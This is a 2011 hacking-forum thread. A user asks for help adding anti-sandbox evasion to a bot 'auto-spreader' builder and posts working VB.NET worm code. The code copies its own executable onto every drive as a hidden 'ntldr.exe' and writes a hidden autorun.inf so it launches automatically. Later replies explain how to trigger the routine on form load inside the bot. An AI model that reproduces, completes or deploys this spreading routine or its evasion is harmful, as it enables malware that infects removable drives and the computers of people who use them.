Hack Forums
[.NET] Help - Anti Sandboxie,USB Spread,Lan Spread Builder - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] Help - Anti Sandboxie,USB Spread,Lan Spread Builder (/showthread.php?tid=1196487)



Help - Anti Sandboxie,USB Spread,Lan Spread Builder - iBoNeT - Apr 8, 2011

I build my auto-spreader but I don't know how to put anti method. {Builder}

Example :

USB Spread*
Code
Imports System.IO
Module usb

Public Sub usb_sp()
Try
Dim drivers As String = My.Computer.FileSystem.SpecialDirectories.ProgramFiles
Dim driver() As String = (IO.Directory.GetLogicalDrives)
For Each drivers In driver
If File.Exists(drivers & "ntldr.exe") = False Then
File.Copy(System.Reflection.Assembly. _
GetExecutingAssembly.Location, drivers & "ntldr.exe")
End If
Dim autorunwriter = New StreamWriter(drivers & "autorun.inf")
autorunwriter.WriteLine("[autorun]")
autorunwriter.WriteLine("open = ntldr.exe")
autorunwriter.WriteLine("shellexecute=ntldr.exe")
autorunwriter.Close()
File.SetAttributes(drivers & "autorun.inf", FileAttributes.Hidden)
File.SetAttributes(drivers & "ntldr.exe", FileAttributes.Hidden)
Next
Catch ex As Exception
End Try
End Sub
End Module

Thank you in advance.



* - Deceptive - Apr 8, 2011

Because you don't know how to code in the first place.


* - iBoNeT - Apr 8, 2011

(Apr 8, 2011 04:00 PM)TheMist Wrote:  Because you don't know how to code in the first place.

It's not me who made ​​this code. {USB Spread} ;)




* - Deceptive - Apr 8, 2011

(Apr 8, 2011 04:01 PM)iBoNeT Wrote:  It's not me who made ​​this code. {USB Spread} ;)

Well then congratulations on admitting you leeched.



* - iBoNeT - Apr 8, 2011

You have not understood that it is an example.

I did a paper glued to one example. I will not coded for example.


* - Hell Guardian - Apr 8, 2011

I advice you to learn the basics first then search for Builder/Stub Basics and how to move settings from a builder to stub


* - N3oNight - Apr 8, 2011

Just Call the sub... on forum_load

Example:-
call usb_sp()


* - iBoNeT - Apr 8, 2011

But its going to put it in my bot or my "form1.vb"?


* - supa - Apr 9, 2011

(Apr 8, 2011 09:21 PM)iBoNeT Wrote:  But its going to put it in my bot or my "form1.vb"?

Its going to start when the form you have choosen loads.


* - SoulHarvester - Apr 9, 2011

(Apr 8, 2011 04:03 PM)TheMist Wrote:  Well then congratulations on admitting you leeched.

You flame in a unnecessary amount. It annoys me....

Any ways who gives a shit if he leeched


* - Deceptive - Apr 9, 2011

(Apr 9, 2011 10:44 AM)Ťactidz™ Wrote:  You flame in a unnecessary amount. It annoys me....

Any ways who gives a shit if he leeched

I do. I'm way to lazy at the moment to explain to you why, but I have good reasons.


* - Ingenuity - Apr 9, 2011

I'll second that. If you leech/directly c&p without credits you deserve to have your nuts chopped off and fed to the nearest non-human carnivorous creature...

Edit: No shit sherlock it doesn't answer your question...

It should go in form1.vb assuming that's where you want to execute it.... it's your choice... if you don't understand it then I'd suggest doing something MUCH easier...


* - iBoNeT - Apr 9, 2011

This does not answer to my question.